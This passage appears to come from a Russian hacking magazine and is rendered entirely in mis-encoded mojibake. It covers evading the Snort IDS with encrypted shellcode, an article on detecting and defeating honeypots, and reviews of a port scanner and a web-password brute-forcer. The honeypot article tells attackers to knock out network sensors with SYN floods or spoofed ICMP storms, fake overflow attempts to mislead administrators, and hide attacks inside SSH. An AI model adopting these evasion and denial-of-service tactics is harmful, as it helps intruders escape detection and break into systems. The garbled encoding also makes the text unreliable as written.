íî. Õîðîøî ýòîò ñïîñîá ðàáîòàåò, êàê
ïðàâèëî, íà web-ñåðâèñàõ. 
3. Áîëåå ñëîæíûé âàðèàíò � ïðèìå-

íåíèå âèðóñíûõ òåõíîëîãèé (ïðàâäà,
âèðóñàìè òóò è íå ïàõíåò). Íèêòî íå
çàáûë î øèôðàöèè/äåøèôðàöèè èñ-
ïîëíÿåìîãî êîäà? Ìîæíî íàïèñàòü (è
ìíîãèå ïèøóò) shell-êîä, êîòîðûé áó-
äåò â çàøèôðîâàííîì âèäå ïåðåäà-
âàòüñÿ æåðòâå, à ïðè çàïóñêå ðàñ-
øèôðîâûâàòüñÿ �íà ëåòó�. Ìåíÿÿ àë-
ãîðèòì øèôðîâàíèÿ èëè êëþ÷, ìîæ-
íî áóäåò ïîëó÷àòü âñå íîâûå è íîâûå
ñèãíàòóðû, íåèçâåñòíûå ðàíåå ýòîé
IDS. Åñòåñòâåííî, â ñèãíàòóðå áóäåò
ñâåòèòüñÿ êîðîòåíüêèé ðàñøèôðîâ-
ùèê, íî åãî âèäîèçìåíèòü äî íåóçíà-
âàåìîñòè íå ñîñòàâëÿåò òðóäà (ïîä-
ðîáíåå î íàïèñàíèè shell-êîäîâ ÷èòàé
â àâãóñòîâñêîì Ñïåöå #08.04(45)). 

Òàêèì îáðàçîì, ãðàìîòíûé âçëîì-
ùèê ïîìíèò î SNORT'å è ãîòîâèò
ýêñïëîèòû ñîáñòâåíîðó÷íî. Êàê â àð-
ìèè, ãäå åñòü ïðàâèëî: îðóæèå, îáìóí-
äèðîâàíèå è ñíàðÿæåíèå êàæäûé ãî-
òîâèò ñåáå ÑÀÌ! E
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Ñíîðò ñåä-
ëàåò ñåòå-
âûå èíòåð-
ôåéñû è
îñóùåñ-
òâëÿåò íàá-
ëþäåíèå çà
òðàôèêîì.

Íå îäèíîê íàø Ñíîðòè â ýòîì ìèðå. Ïîëåçíî ïîñìîòðåòü:
- libnids - áèáëèîòåêà äëÿ ñîçäàíèÿ òàêîãî ðîäà ñèñòåì
(libnids.sourceforge.net). Ñîáñòâåííî, ÿ ñàì ïðè íåîáõîäèìîñòè
èìåííî åé è ïîëüçóþñü. Âñåãäà ïðèÿòíî íåñêîëüêî îáåñêóðàæèòü
ñêðèïòîäÿòëà.
- iplog - àíàëèç ïðîòîêîëà íà ïðåäìåò àòàê.
- courtney - ñòàðóøêà Êîðòíè, êîòîðàÿ ÿâëÿåòñÿ ïðîñòåíüêèì ïåð-
ëîâûì ñêðèïòîì äëÿ îáíàðóæåíèÿ ôàêòà ñêàíèðîâàíèÿ. Áåçíàäåæ-
íàÿ ïåíñèîíåðêà.

ÀËÜÒÅÐÍÀÒÈÂÀ ÅÑÒÜ ÂÑÅÃÄÀ!

Àíòîí Êàðïîâ, ñïåöèàëèñò ïî ñåòåâîé áåçîïàñíîñòè, ñèñòåìíûé
àäìèíèñòðàòîð:

«×àñòî ãîâîðÿò: åñëè òû îòðàæàåøü àòàêó - òû óæå ïðîèãðàë. Äîëÿ
ïðàâäû â ýòèõ ñëîâàõ åñòü. Ëþáûå àòàêè æåëàòåëüíî âûÿâëÿòü åùå
íà ñòàäèè èõ çàðîæäåíèÿ, íåæåëè ðàçáèðàòüñÿ ñ èõ ðåçóëüòàòîì. Ê
ñ÷àñòüþ, *nix-ñèñòåìû èìåþò äëÿ ýòîãî âñå ñðåäñòâà. Ðàçâèòàÿ ñèñ-
òåìà ïðîòîêîëèðîâàíèÿ ñîáûòèé è ñâîåâðåìåííîå íàáëþäåíèÿ çà
àíîìàëèÿìè â ñèñòåìíîì æóðíàëå, à òàêæå èñïîëüçîâàíèå ñåòåâûõ
ñðåäñòâ îáíàðóæåíèÿ âòîðæåíèé, êîíå÷íî, ïîìîãóò, íî âñå ÷òî îíè
ïîçâîëÿþò - ýòî îòðàáîòàòü ïî ôàêòó òîãî, ÷òî àòàêà óæå èäåò. Âîò
ïî÷åìó ïîïóëÿðíû íå òîëüêî ñèñòåìû îáíàðóæåíèÿ, íî òàêæå è
ñèñòåìû ïðåäîòâðàùåíèÿ âòîðæåíèé. Ïðîñòåéøèé ïðèìåð ïðåâåí-
òèâíîé ìåðû - ñîåäèíåíèå IDS ñ ïàêåòíûì ôèëüòðîì è ïîäà÷à êî-
ìàíäû íà áëîêèðîâàíèå àòàêóþùåãî àäðåñà.»

ÌÍÅÍÈÅ ÝÊÑÏÅÐÒÀ

Ñíîðò â àêòèâíîì ðåæèìå

IDS âûïëåâûâåò ñòàòèñòèêó

Ðîäíîé web-ñàéò Õðþøêè



Àðõèòåêòó-
ðà honey-
pot'îâ ïëî-
õî ïðîðàáî-
òàíà è óÿç-
âèìà.

Âûõîäèòü â
ñåòü ïî
êîììóòèðó-
åìîìó äîñ-
òóïó ðàâíî-
ñèëüíî ñà-
ìîóáèéñòâó,
â îñîáåí-
íîñòè ñî
ñâîåãî äî-
ìàøíåãî íî-
ìåðà.

Êðèñ Êàñïåðñêè aka ìûùúõ

Â ïîñëåäíåå âðåìÿ ñîçäàþòñÿ âñå áîëåå è áîëåå èçîùðåííûå ñèñòåìû áîðüáû ñ õàêåðàìè, îäíîé èç êîòîðûõ ÿâëÿåòñÿ
honeypot - ñâîåîáðàçíûé êàïêàí äëÿ àòàêóþùèõ. Ñêîëüêî ëþäåé îòïðàâèëîñü çà ðåøåòêó ñ åãî "ïîìîùüþ"! Äàæå

â íàøåé òðàäèöèîííî ëîÿëüíîé ê õàêåðàì ñòðàíå èìååòñÿ íåñêîëüêî ñëó÷àåâ óñëîâíûõ îñóæäåíèé. Åäèíñòâåííûé
âûõîä - çàäàâèòü èäåþ honeypot'îâ â çàðîäûøå.

ÕÀÊÅÐÛ 
ËÞÁßÒ ÌÅÄ
ÐÀÇÁÈÐÀÅÌÑß Â ÐÀÁÎÒÅ ÍÎNEYPOT

ÃÎÐØÎ×ÅÊ ÌÅÄÀ
Îäíàæäû íåêèé

ìóæ÷èíà ïðèîáðåë ñó-
ïåðíàâîðî÷åííûé
ñåéô è ïîâñþäó õâàñ-

òàëñÿ èì: êàêîé îí íàäåæíûé è ïðî÷-
íûé. Çàáðàâøèåñÿ ê íåìó ãðàáèòåëè
ïðîæãëè êàêîé-òî õèòðîé êèñëîòîé â
ñåéôå äûðó è� íå îáíàðóæèëè âíóò-
ðè íè÷åãî! Äåíüãè è äðàãîöåííîñòè
õðàíèëèñü ñîâñåì â äðóãîì ìåñòå,
âçëîìùèêîâ ïîñàäèëè.

Ïîäîáíàÿ òàêòèêà øèðîêî èñïîëüçó-
åòñÿ è äëÿ ðàñêðûòèÿ êîìïüþòåðíûõ
àòàê. Íà âèäíîì ìåñòå ñåòè óñòàíàâëè-
âàåòñÿ çàâåäîìî óÿçâèìûé ñåðâåð,
íàäåæíî èçîëèðîâàííûé îòî âñåõ îñ-
òàëüíûõ óçëîâ è îòñëåæèâàþùèé ïî-
ïûòêè íåñàíêöèîíèðîâàííîãî ïðîíèê-
íîâåíèÿ â ðåàëüíîì âðåìåíè ñ ïåðå-
äà÷åé IP-àäðåñà àòàêóþùåãî â ÔÑÁ
èëè ïîäîáíûå åìó îðãàíû.

Ñåðâåð, èãðàþùèé ðîëü ïðèìàíêè,
íàçûâàåòñÿ "ãîðøîê ñ ìåäîì" ("hon-
eypot"), à ñåòü èç òàêèõ ñåðâåðîâ -
honeynet. 

Ïðîòèâîñòîÿòü honeypot'àì äîâîëü-
íî ñëîæíî. Âíåøíå îíè íè÷åì íå îò-
ëè÷àþòñÿ îò îáû÷íûõ ñåðâåðîâ, íî â
äåéñòâèòåëüíîñòè ýòî õîðîøî çàìàñ-
êèðîâàííûé êàïêàí. Îäèí íåâåðíûé
øàã - è õàêåðó óæå íè÷òî íå ïîìîæåò.
Óòâåðæäàþò, ÷òî îïûòíàÿ ëèñà óõèò-
ðÿåòñÿ ñúåñòü ïðèìàíêó, íå ïîïàâ â
êàïêàí. Òàê ÷åì æå ìû õóæå?

ÂÍÓÒÐÈ ÃÎÐØÊÀ
Òèïè÷íûé honeypot ïðåäñòàâëÿåò

ñîáîé ãðàíäèîçíûé ïðîãðàììíî-àïïà-
ðàòíûé êîìïëåêñ, ñîñòîÿùèõ èç ñëå-
äóþùèõ êîìïîíåíòîâ: óçëà-ïðèìàíêè,
ñåòåâîãî ñåíñîðà è êîëëåêòîðà (íàêî-
ïèòåëÿ èíôîðìàöèè).

Ïðèìàíêîé ìîæåò ñëóæèòü ëþáîé ñå-
âåð, çàïóùåííûé ïîä óïðàâëåíèåì
ïðîèçâîëüíîé îïåðàöèîííîé ñèñòåìû
è ñêîíôèãóðèðîâàííûé íà òîò èëè
èíîé óðîâåíü áåçîïàñíîñòè. Èçîëèðî-
âàííîñòü îò îñòàëüíûõ ó÷àñòêîâ ñåòè
ïðåïÿòñòâóåò èñïîëüçîâàíèþ ñåðâåðà-
ïðèìàíêè êàê ïëàöäàðìà äëÿ àòàê íà
îñíîâíûå óçëû, îäíàêî äàåò âçëîìùè-
êó áûñòðî ïîíÿòü, ÷òî îí íà ïîëïóòè ê
ëîâóøêå è îòñþäà ñëåäóåò íåìåäëåí-

íî ðåòèðîâàòüñÿ, çàìåòàÿ ñëåäû. Òåî-
ðåòè÷åñêè àäìèíèñòðàòîð ìîæåò îðãà-
íèçîâàòü ïîäëîæíóþ ëîêàëüíóþ ñåòü,
ïðàêòè÷åñêè æå ýòî îêàçûâàåòñÿ íå-
ïîäúåìíî äîðîãîñòîÿùèì ðåøåíèåì, è
ïðèõîäèòñÿ èñêàòü êîìïðîìèññ: ëèáî
îñëàáëåííàÿ èçîëÿöèÿ, îãðàæäàþùàÿ
òîëüêî êðèòè÷åñêè âàæíûå óçëû, ëèáî
ýìóëÿòîð ëîêàëüíîé ñåòè, çàïóùåí-
íûé íà îäíîì êîìïüþòåðå. ×àùå âñåãî
óçëîâ ñ ïðèìàíêîé áûâàåò íåñêîëüêî.
Îäíè èç íèõ ñîäåðæàò äàâíî èçâåñò-
íûå äûðû è ðàññ÷èòàíû íà íà÷èíàþ-
ùèõ õàêåðîâ, òîëüêî-òîëüêî îñâàèâà-
þùèõ êîìàíäóþ ñòðîêó è ÷èòàþùèõ
êíèãè äåñÿòèëåòíåé äàâíîñòè. Äðóãèå -

çàùèùåíû ïî ñàìûå ïîìèäîðû è îðè-
åíòèðîâàíû íà âûÿâëåíèå åùå íåèç-
âåñòíûõ àòàê, ñîâåðøàþùèõñÿ îïûò-
íûìè âçëîìùèêàìè. Ïîýòîìó, äàæå îá-
íàðóæèâ íîâóþ äûðó, íå ñïåøè ëî-
ìèòüñÿ íà ïåðâûé æå ïîïàâøèéñÿ ñåð-
âåð. Âåäü, åñëè àòàêà çàâåðøèòñÿ íåó-
äà÷íî, èíôîðìàöèÿ îá óÿçâèìîñòè ïî-
ïàäåò â çàãðåáóùèå ëàïû ñïåöèàëèñ-
òîâ ïî èíôîðìàöèîííîé áåçîïàñíîñ-
òè, à òû ìîæåøü îêàçàòüñÿ íà ñêàìüå
ïîäñóäèìûõ èëè (÷òî åùå õóæå) áîëü-
íè÷íîé êîéêå, ñ÷èòàÿ ïåðåáèòûå ðåá-
ðà. Êñòàòè ãîâîðÿ, î÷åíü ìíîãèå óçëû-
ïðèìàíêè ïîñòðîåíû íà ÎÑ ñ íàñòðîé-
êàìè ïî óìîë÷àíèþ. È â ýòîì åñòü
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Òèïè÷íûé
honeypot
ïðåäñòàâëÿ-
åò ñîáîé
ãðàíäèîç-
íûé ïðîãðà-
ììíî-àïïà-
ðàòíûé
êîìïëåêñ,
ñîñòîÿùèé
èç óçëà-
ïðèìàíêè,
ñåòåâîãî
ñåíñîðà è
êîëëåêòîðà.

ÕÀÊÅÐÛ ËÞÁßÒ ÌÅÄ88 ÇÀÙÈÒÀ

Íèêèòà Êèñëèöèí, ðåäàêòîð ðóáðèêè "Âçëîì" æóðíàëà "Õàêåð":

"Íå ñòîèò äóìàòü, ÷òî honeypot è honeynet - ýòî ÷òî-òî ýêçîòè÷íîå,
÷ðåçâû÷àéíî ðåäêîå è ìàëîýôôåêòèâíîå. Ýòî íå òàê. Ìîãó ñîâåð-
øåííî îïðåäåëåííî ñêàçàòü, ÷òî â ðÿäå ñåòåé ïîïóëÿðíûõ ðîññèéñ-
êèõ ñåòåâûõ ïðîåêòîâ äåéñòâóþò ðàçâåðíóòûå ñåòè honeypot, êîòî-
ðûå âûëàâëèâàþò òûñÿ÷è ñêðèïòêèäèñîâ â ìåñÿö. Õîòÿ èíîãäà ïî-
ïàäàþòñÿ è äåéñòâèòåëüíî öåííûå ðûáêè - âçëîìùèêè ñ ïðèâàòíû-
ìè ñïëîèòàìè, êîòîðûå ïûòàþòñÿ ïîâàëèòü êàêîé-òî ñåòåâîé äåìîí
äîñåëå íåèçâåñòíûì shell-êîäîì. Ýòî ÿâëÿåòñÿ ïåðâîî÷åðåäíîé çà-
äà÷åé ïîäîáíûõ ñèñòåì. Èìåííî ïîýòîìó ñåòåâîìó âçëîìùèêó
÷ðåçâû÷àéíî âàæíî óìåòü èäåíòèôèöèðîâàòü è îïðåäåëÿòü honey-
pot-ñèñòåìû, ÷òîáû íå ïðîïàëèòü ñîáñòâåííûå ñåêðåòû".

ÌÍÅÍÈÅ ÝÊÑÏÅÐÒÀ

Ðàáîòàåì ñ tcpdump



ñâîé ðåçîí. Äûðû ñòàíäàðòíûõ êîí-
ôèãóðàöèé õîðîøî èçâåñòíû, ÷òî
îáåñïå÷èâàåò ìàêñèìàëüíûé ïðèòîê
àòàêóþùèõ.

Ñåòåâîé ñåíñîð ÷àùå âñåãî ðåàëèçó-
åòñÿ íà áàçå UNIX-ïîäîáíîé ÎÑ, à äëÿ
ìîíèòîðèíãà èíôîðìàöèè èñïîëüçó-
åòñÿ óòèëèòà tcpdump èëè åå àíàëîãè.
Â çàâèñèìîñòè îò êîíôèãóðàöèè ñåòè
ñåíñîð ìîæåò êàê íàõîäèòüñÿ íà îä-
íîì èç óçëîâ äàííîãî ñåãìåíòà ëî-
êàëüíîé ñåòè, òàê è ÿâëÿòüñÿ ìàðøðó-
òèçàòîðîì, ðàñïîëîæåííûì ïåðåä
ïðèìàíêîé. Èíîãäà ñåòåâîé ñåíñîð
ñîâìåùàåòñÿ íåïîñðåäñòâåííî ñ ñà-
ìîé ïðèìàíêîé. Ýòî ñóùåñòâåííî óï-
ðîùàåò è óäåøåâëÿåò ñèñòåìó honey-
pot'à, îäíàêî îñëàáëÿåò åå èììóíèòåò
(çàõâàòèâ óïðàâëåíèå ïðèìàíêîé, àòà-
êóþùèé áûñòðî îáíàðóæèò ñåíñîð è
ñäåëàåò åìó õàðàêèðè). Ðàçìåùåíèå
ñåíñîðà âíóòðè øèðîêîâåùàòåëüíîãî
ñåãìåíòà îáåñïå÷èâàåò åìó íàèáîëü-
øóþ ñêðûòîñòü. Ñåòåâîé èíòåðôåéñ
ñåíñîðà ìîæåò è íå èìåòü ñîáñòâåííî-
ãî IP-àäðåñà, ïðîñëóøèâàÿ òðàôèê â
Stealth-ðåæèìå, ÷òî äîñòèãàåòñÿ ïóòåì
ôèçè÷åñêîãî îáðåçàíèÿ ïåðåäàþùå-
ãî ïðîâîäà íà ñåòåâîé êàðòå (ñì.
ñòàòüþ î ñíèôåðàõ â ýòîì íîìåðå).
Ìàðøðóòèçàòîð â ýòîì ñìûñëå íàìíî-
ãî áîëåå çàìåòåí, îäíàêî îïðåäåëèòü,
ðàáîòàåò ëè íà íåì ñåòåâîé ñåíñîð
èëè íåò, â îáùåì ñëó÷àå íåâîçìîæíî.

Äàìïû tcpdump'à îáðàáàòûâàþòñÿ
ðàçëè÷íûìè àíàëèçàòîðàìè (íàïðè-
ìåð, IDS), âî-ïåðâûõ, ðàñïîçíàþùèìè
ñàì ôàêò àòàêè, à, âî-âòîðûõ, îïðåäå-
ëÿþùèìè IP-àäðåñ íàðóøèòåëÿ. Íàêà-
ïûâàåìàÿ èíôîðìàöèÿ îñåäàåò â êîë-
ëåêòîðå, ñåðäöåì êîòîðîãî ÿâëÿåòñÿ
áàçà äàííûõ. Ýòî ñàìîå óÿçâèìîå ìåñ-
òî honeypot'à. Íåîáõîäèìî çàðàíåå
âûáðàòü ÷åòêèå êðèòåðèè, ïîçâîëÿþ-
ùèå îäíîçíà÷íî îïðåäåëèòü, êàêèå
äåéñòâèÿ ÿâëÿþòñÿ íîðìàëüíûìè, à
êàêèå - íåò. Â ïðîòèâíîì ñëó÷àå àäìè-
íèñòðàòîð áóäåò ëèáî ïîñòîÿííî äåð-
ãàòüñÿ, âçäðàãèâàÿ îò êàæäîãî ñêàíè-
ðîâàíèÿ ïîðòîâ, ëèáî ïðîïóñòèò ñëåã-
êà âèäîèçìåíåííûé âàðèàíò èçâåñò-
íîé àòàêè. Åñòü è äðóãàÿ ïðîáëåìà. Åñ-
ëè ïðèìàíêà íå èìååò íèêàêîãî äðóãî-
ãî òðàôèêà, êðîìå õàêåðñêîãî (÷òî ëåã-
êî îïðåäåëèòü ïî õàðàêòåðó èçìåíå-
íèÿ ïîëÿ ID â çàãîëîâêàõ IP-ïàêåòîâ,

ïîäðîáíåå î êîòîðîì ðàññêàçûâàåòñÿ
â ñòàòüå î áðàíäìàóýðàõ), òî àòàêóþ-
ùèé íåìåäëåííî ðàñïîçíàåò ëîâóøêó
è íå ñòàíåò åå àòàêîâàòü. Åñëè æå ïðè-
ìàíêà îáñëóæèâàåò ïîëüçîâàòåëåé
âíåøíåé ñåòè, íåïîñðåäñòâåííûé àíà-
ëèç äàìïà òðàôèêà ñòàíîâèòñÿ íåâîç-
ìîæíûì è õàêåðó íè÷åãî íå ñòîèò çà-
òåðÿòüñÿ íà ôîíå ëåãàëüíûõ çàïðî-
ñîâ. Äîñòàòî÷íî ýôôåêòèâíîé ïðè-
ìàíêîé ÿâëÿþòñÿ áàçû äàííûõ ñ íîìå-
ðàìè êðåäèòíûõ êàðò èëè äðóãîé êîí-
ôèäåíöèàëüíîé èíôîðìàöèåé (åñòå-
ñòâåííî, ïîäëîæíîé). Âñÿêàÿ ïîïûòêà
îáðàùåíèÿ ê òàêîìó ôàéëó, ðàâíî êàê
è èñïîëüçîâàíèå ïîõèùåííîé èíôîð-
ìàöèè íà ïðàêòèêå, íåäâóñìûñëåííî
ñâèäåòåëüñòâóåò î âçëîìå. Ñóùåñòâó-
þò è äðóãèå ñïîñîáû ïîèìêè íàðóøè-
òåëåé, íî âñå îíè òàê èëè èíà÷å ñâî-
äÿòñÿ ê æåñòêèì øàáëîíàì, à çíà÷èò, â
ïðèíöèïå, íå ñïîñîáíû ðàñïîçíàòü õà-
êåðîâ ñ íåòðèâèàëüíûì ìûøëåíèåì.

Êîðî÷å ãîâîðÿ, îïûòíûé âçëîìùèê
ìîæåò îáîéòè honeypot'û. Ïîïðîáóåì
ðàçîáðàòüñÿ êàê.

ÑÐÛÂÀß ÂÓÀËÜ ÒÜÌÛ
Ïðåæäå ÷åì áðîñàòüñÿ â áîé,

âçëîìùèêó íåîáõîäèìî òùàòåëüíî
èçó÷èòü ñâîåãî ïðîòèâíèêà: ðåêîí-
ñòðóèðîâàòü òîïîëîãèþ ñåòè, îïðå-
äåëèòü ìåñòà íàèáîëüøåãî ñêîïëå-
íèÿ ïðîòèâîäåéñòâóþùèõ ñèë è, åñ-
òåñòâåííî, ïîïûòàòüñÿ âûÿâèòü âñå
honeypot'û. Îñíîâíûì îðóæèåì õà-
êåðà íà ýòîé ñòàäèè àòàêè áóäåò ñêà-
íåð ïîðòîâ, ðàáîòàþùèé ÷åðåç "íå-
ìîé" óçåë è ïîòîìó íàäåæíî ñêðûâà-
þùèé IP-àäðåñ àòàêóþùåãî.

ßâíî óÿçâèìûå ñåðâåðà ëó÷øå ñðà-
çó îòáðîñèòü - ñ âûñîêîé ñòåïåíüþ
âåðîÿòíîñòè ñðåäè íèõ ïðèñóòñòâóþò
honeypot'û, äîòðàãèâàòüñÿ äî êîòî-
ðûõ íåáåçîïàñíî. Èñêëþ÷åíèå ñîñ-
òàâëÿþò ïóáëè÷íûå ñåðâåðà êîìïà-
íèé, ðàñïîëîæåííûå â DMZ-çîíå -
ñîâìåùàòü èõ honeypot'îì íèêîìó íå
ïðèäåò â ãîëîâó, ïðàâäà, íà íèõ
âïîëíå ìîæåò ðàáîòàòü IDS.

Áåçîïàñíåå âñåãî àòàêîâàòü ðàáî-
÷èå ñòàíöèè êîðïîðàòèâíîé ñåòè,
ðàñïîëîæåííûå çà áðàíäìàóýðîì
(åñëè òàêîé äåéñòâèòåëüíî åñòü). Âå-
ðîÿòíîñòü íàðâàòüñÿ íà honeypot ìè-
íèìàëüíà. Ê íåñ÷àñòüþ äëÿ àòàêóþ-

ùåãî, ðàáî÷èå ñòàíöèè ñîäåðæàò
íàìíîãî ìåíüøå äûð, ÷åì ñåðâåðíûå
ïðèëîæåíèÿ, à ïîòîìó àòàêîâàòü
çäåñü îñîáåííî è íå÷åãî.

ÎÒÂËÅÊÀÞÙÈÅ ÌÀÍÅÂÐÛ
Âûáðàâ æåðòâó, ñëåäóåò íå ñðàçó

ïðèñòóïàòü ê àòàêå. Âíà÷àëå ñòîèò óáå-
äèòüñÿ, ÷òî îñíîâíûå ïðèçíàêè honey-
pot'à îòñóòñòâóþò: óçåë îáñëóæèâàåò
âíåøíèé òðàôèê, èìååò êîíôèãóðà-
öèþ, îòëè÷íóþ îò êîíôèãóðàöèè ïî
óìîë÷àíèþ, ëåãàëüíî èñïîëüçóåòñÿ
îñòàëüíûìè ó÷àñòíèêàìè ñåòè è ò.ä.
Òåïåðü äëÿ íàãíåòàíèÿ ïñèõîëîãè÷åñ-
êîãî íàïðÿæåíèÿ íóæíî èíòåíñèâíî
ñêàíèðîâàòü ïîðòû, çàñûëàÿ íà íåêî-
òîðûå èç íèõ ðàçëè÷íûå áåññìûñëåí-
íûå, íî âíåøíå óãðîæàþùèå ñòðîêè,
èìèòèðóÿ àòàêó íà ïåðåïîëíåíèå áó-
ôåðà. Òîãäà àäìèíèñòðàòîðó áóäåò íå
òàê-òî ïðîñòî ðàçîáðàòüñÿ, èìåëî ëè
ìåñòî ðåàëüíîå ïåðåïîëíåíèå áóôåðà
èëè íåò, è åñëè èìåëî, òî êàêèì èìåííî
çàïðîñîì îñóùåñòâëÿëîñü.

Åñòåñòâåííî, àðòîáñòðåë íåîáõîäè-
ìî âåñòè ÷åðåç çàùèùåííûé êàíàë.

ÀÒÀÊÀ ÍÀ HONEYPOT
Áóäó÷è ïî ñâîåé ïðèðîäå îáû÷íûì

óçëîì ñåòè, honeypot ïîäâåðæåí ðàç-
ëè÷íûì DoS-àòàêàì. Íàèáîëåå óÿçâèì
ñåòåâîé ñåíñîð, îáÿçàííûé ïðîñëóøè-
âàòü âåñü ïðîõîäÿùèé òðàôèê. Åñëè
óäàñòñÿ âûâåñòè åãî èç èãðû, ôàêò
âòîðæåíèÿ â ñèñòåìó íà íåêîòîðîå âðå-
ìÿ îñòàíåòñÿ íåçàìå÷åííûì. Åñòåñòâåí-
íî, àòàêóåìûé óçåë äîëæåí îñòàòüñÿ
æèâûì, èíà÷å íåêîãî àòàêîâàòü. Áóäåì
èñõîäèòü èç òîãî, ÷òî ñåíñîð ïðèíèìàåò
âñå ïàêåòû. Òîãäà, ïîñëàâ ïàêåò íà íå-
ñóùåñòâóþùèé èëè ëþáîé íåíóæíûé
óçåë, ìû çàâàëèì ïðîòèâíèêà.

Êàê âàðèàíò, ìîæíî íàâîäíèòü ñåòü
SYN-ïàêåòàìè èëè âûçâàòü ECHO-
death (øòîðì ICMP-ïàêåòîâ, íàïðàâ-
ëåííûé íà æåðòâó ñ íåñêîëüêèõ äå-
ñÿòêîâ ìîùíûõ ñåðâåðîâ, ÷òî äîñòèãà-
åòñÿ ñïóôèíãîì IP-àäðåñîâ).

Ñàìó æå àòàêó ëó÷øå âñåãî îñóùå-
ñòâëÿòü ïîâåðõ ïðîòîêîëîâ, óñòîé-
÷èâûõ ê ïåðåõâàòó òðàôèêà è ïîä-
äåðæèâàþùèõ ïðîçðà÷íîå øèôðî-
âàíèå, îñëåïëÿþùåå ñåòåâîé ñåí-
ñîð. ×àùå âñåãî äëÿ ýòîé öåëè èñ-
ïîëüçóåòñÿ SSH (Secure Shell), îäíà-
êî îí îãðàíè÷èâàåò âûáîð àòàêóþ-
ùåãî òîëüêî ÿâíî ïîääåðæèâàþùè-
ìè åãî óçëàìè, ÷òî ñâîäèò íà íåò
âåñü âûèãðûø îò øèôðîâàíèÿ.

ÇÀÊËÞ×ÅÍÈÅ
Ñèëà honeypot'îâ - â èõ íîâèçíå

è íåèçó÷åííîñòè. Ó õàêåðîâ ïîêà íåò
àäåêâàòíûõ ìåòîäèê ïðîòèâîñòîÿíèÿ,
íî íå ñòîèò äóìàòü, ÷òî òàêàÿ ðàññòà-
íîâêà ñèë ñîõðàíèòñÿ è â äàëüíåé-
øåì. Àðõèòåêòóðà honeypot'îâ ïëîõî
ïðîðàáîòàíà è óÿçâèìà. Óæå ñåãîäíÿ
îïûòíîìó âçëîìùèêó íè÷åãî íå ñòî-
èò îáîéòè èõ, çàâòðà æå ýòî áóäåò
óìåòü êàæäûé ïîäðîñòîê, óñòàíîâèâ-
øèé *nix è, ïðåçðåâ ìûøü, âçÿâøèé-
ñÿ çà êëàâèàòóðó. E
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KNOCKERS
(WWW.KNOCKER.SOURCE-
FORGE.NET)

Ïëþñû. Î÷åíü ïðîñ-
òîé, íî ÷ðåçâû÷àéíî

ôóíêöèîíàëüíûé ñêàíåð
ïîðòîâ. Ðàçìåð äèñòðèáó-
òèâà - âñåãî 72 êèëîáàéòà.
Ñîáèðàåòñÿ íà ëþáîé
UNIX-like-ìàøèíå ñ ïî-
ìîùüþ òðåõ ñòàíäàðòíûõ
êîìàíä. Âñÿ ðàáîòà ïðîèñ-
õîäèò èç êîíñîëè. Ñêîðîñòü
ðàáîòû ïðîñòî ôåíîìå-
íàëüíàÿ. Ìíîãî ðåæèìîâ
ñêàíèðîâàíèÿ: ñêàíèðîâà-
íèå îäíîãî ïîðòà, ãðóïïû
ïîðòîâ, âñåõ âîçìîæíûõ
ïîðòîâ. Ïîêàçûâàåò íå
òîëüêî íîìåð îòêðûòîãî
ïîðòà, íî è ñåðâèñ, ñêðû-
òûé çà íèì. Î÷åíü óäîáíî
èñïîëüçîâàòü èìåííî ýòîò
ñêàíåð ïðè àíàëèçå ñ óäà-
ëåííîé ìàøèíû: âñòðîåíà
îïöèÿ, ïîçâîëÿþùàÿ îòï-
ðàâëÿòü âåñü âûâîä â îò-
äåëüíûé ôàéë.

Ìèíóñû. Äàâíî íå îáíîâ-
ëÿëñÿ. Íåò âîçìîæíîñòè
èçó÷àòü ñðàçó íåñêîëüêî
ìàøèí èëè âñþ ñåòü. Íåëü-
çÿ ñêàíèðîâàòü UDP-ïîðòû.
Èñïîëüçóåòñÿ ñêàíèðîâà-
íèå "â ëîá", òî åñòü òâîè
èññëåäîâàíèÿ ìîãóò áûòü
ëåãêî îáíàðóæåíû áäè-
òåëüíûì àäìèíîì.

Âåðäèêò. Ñîôòèíà îïðå-
äåëåííî çàñëóæèâàåò òâîå-
ãî âíèìàíèÿ. Ýòî ìàëåíü-
êàÿ, íî íåçàìåíèìàÿ óòèëè-
òà â àðñåíàëå õàêåðà. Ñî
ñêàíèðîâàíèåì TCP-ïîðòîâ
óäàëåííîãî õîñòà îíà
ñïðàâëÿåòñÿ õîðîøî.

WEB PASSWORD CHECKER
(WPC) V 0.1 (WWW.DOWN-
LOADS.SECURITYFOCUS.CO
M/TOOLS/WPC-
0_1B.TAR.GZ)

Óòèëèòà, ïðåäíàçíà-
÷åííàÿ äëÿ ïåðåáîðà

ïàðîëåé web-ñòðàíèö. Ïðè-
ãîäèòñÿ òåáå, êîãäà íóæíî
ïîäîáðàòü ñâÿçêó ëîãèí-
ïàðîëü äëÿ ôîðìû ðåãèñò-
ðàöèè. 

Ïëþñû. Âîçìîæíà ðàáîòà
÷åðåç ïðîêñè-ñåðâåð. Ïðîã-
ðàììà ñïîñîáíà èñêàòü ïà-
ðîëè êàê ïî ñëîâàðþ, òàê è
áðóòôîðñîì. Åñòü âîçìîæ-
íîñòü "ðàñòÿãèâàòü", òî
åñòü äåëàòü ïàóçû ìåæäó
ïîïûòêàìè, ÷òî ïîçâîëÿåò
äîëüøå îñòàâàòüñÿ íåçà-
ìå÷åííûì. WPC ïûòàåòñÿ
èñïîëüçîâàòü îáùåèçâåñò-
íûå ìåõàíèçìû òðàíñôîð-
ìàöèè ëîãèíà è ïîëó÷åí-
íûé ìîä ñêàðìëèâàåò ôîð-
ìå â êà÷åñòâå ïàðîëÿ; åñòü
âîçìîæíîñòü çàäàòü óðî-
âåíü ñëîæíîñòè. Ïðèìåðîì
òàêîãî çàïðîñà ìîæåò ñëó-
æèòü âàðèàíò: ëîãèí - root,
ïàðîëü � toor (root1 è ò.ä.),
ýòî îäíà èç ñàìûõ ïðîñòûõ
ñâÿçîê, âûäàâàåìûõ ïðîã-
ðàììîé.

Ìèíóñû. Íåïðîäóìàí
áðóòôîðñ-ìåõàíèçì - íåò

âîçìîæíîñòè îãðàíè÷èòü
èñïîëüçóåìûå ñèìâîëû ïà-
ðîëÿ, ÷òî ðåçêî ñîêðàòèëî
áû âðåìÿ ïîèñêà. Íå ïîä-
äåðæèâàåòñÿ SSL, à, çíà-
÷èò, àòàêà íà ìíîãèå ñåðâè-
ñû íåâîçìîæíà (òîò æå
Webmin).

Âåðäèêò. Ñðàçó âèäíî, ÷òî
ïðîãðàììà èìååò î÷åíü øè-
ðîêèé äèàïàçîí ïðèìåíå-
íèÿ. Óäîáíî èñïîëüçîâàòü
ýòó ñîôòèíó äëÿ âçëîìà
